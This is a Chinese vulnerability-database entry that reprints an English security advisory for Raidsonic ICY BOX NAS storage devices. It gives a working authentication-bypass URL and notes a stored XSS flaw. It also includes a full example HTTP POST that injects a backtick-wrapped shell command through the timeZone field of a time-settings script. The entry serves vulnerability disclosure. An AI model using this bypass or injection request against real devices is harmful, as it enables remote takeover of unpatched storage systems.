发布日期：2013-09-25
更新日期：2013-11-01

受影响系统：

Raidsonic ICY BOX NAS-4220-B 2.6.3.IB.1.RS.1
Raidsonic ICY BOX NAS-5220 2.6.3-20100206S

描述：

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BUGTRAQ  ID: 57958

RaidSonic IB-NAS5220、IB-NAS4220-B为网络存储设备。

RaidSonic IB-NAS5220、IB-NAS4220-B没有正确过滤 /cgi/time/timeHandler.cgi 脚本内的 'ping_size'参数值，存在安全漏洞，成功利用后可使远程攻击者执行任意命令。

<*来源：m-1-k-3
  
  链接：http://www.osvdb.org/90221
        http://secunia.com/advisories/52216/
*>

测试方法：

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警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

Device Name: IB-NAS5220 / IB-NAS4220-B
Vendor: Raidsonic

============ Vulnerable Firmware Releases: ============

Product Name IB-NAS5220 / IB-NAS4220-B
Tested Firmware IB5220: 2.6.3-20100206S
Tested Firmware IB4220: 2.6.3.IB.1.RS.1

Firmware Download: http://www.raidsonic.de/data/Downloads/Firmware/IB-NAS5220_standard.zip

============ Vulnerability Overview: ============

    * Authentication Bypass:

-> Access the following URL to bypass the login procedure:
http://<IP>/nav.cgi?foldName=adm&localePreference=en

    * Stored XSS:

System -> Time Settings -> NTP Server -> User Define

Injecting scripts into the parameter ntp_name reveals that this parameter is not properly validated for malicious input. You are able to place this script without authentication.

Screenshot: http://www.s3cur1ty.de/sites/www.s3cur1ty.de/files/images/ICY-Box-Stored-XSS.png

    * Unauthenticated OS Command Injection

The vulnerability is caused by missing input validation in the ping_size parameter and can be exploited to inject and execute arbitrary shell commands.

Example Exploit:
POST /cgi/time/timeHandler.cgi HTTP/1.1
Host: 192.168.178.41
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0) Gecko/20100101 Firefox/16.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Referer: http://192.168.178.41/cgi/time/time.cgi
Content-Type: application/x-www-form-urlencoded
Content-Length: 186

month=1&date=1&year=2007&hour=12&minute=10&m=PM&timeZone=Amsterdam`COMMAND`&ntp_type=default&ntpServer=none&old_date=+1+12007&old_time=1210&old_timeZone=Amsterdam&renew=0

Screenshot: http://www.s3cur1ty.de/sites/www.s3cur1ty.de/files/images/Raidsonic-IB-NAS-command-execution.png

============ Solution ============

No known solution available.

============ Credits ============

The vulnerability was discovered by Michael Messner
Mail: devnull#at#s3cur1ty#dot#de
Web: http://www.s3cur1ty.de
Advisory URL: http://www.s3cur1ty.de/m1adv2013-010
Twitter: @s3cur1ty_de

============ Time Line: ============

August 2012 - discovered vulnerability
27.08.2012 - contacted vendor with vulnerability details for IB-NAS4220-B
28.08.2012 - vendor responded that they will not publish an update
15.10.2012 - contacted vendor with vulnerability details for IB-NAS5220
15.10.2012 - vendor responded that they will not publish an update
12.02.2013 - public release
===================== Advisory end =====================

建议：

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厂商补丁：

Raidsonic
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目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.raidsonic.de/en/service.php
http://www.raidsonic.de/data/Downloads/Firmware/IB-NAS5220_standard.zip

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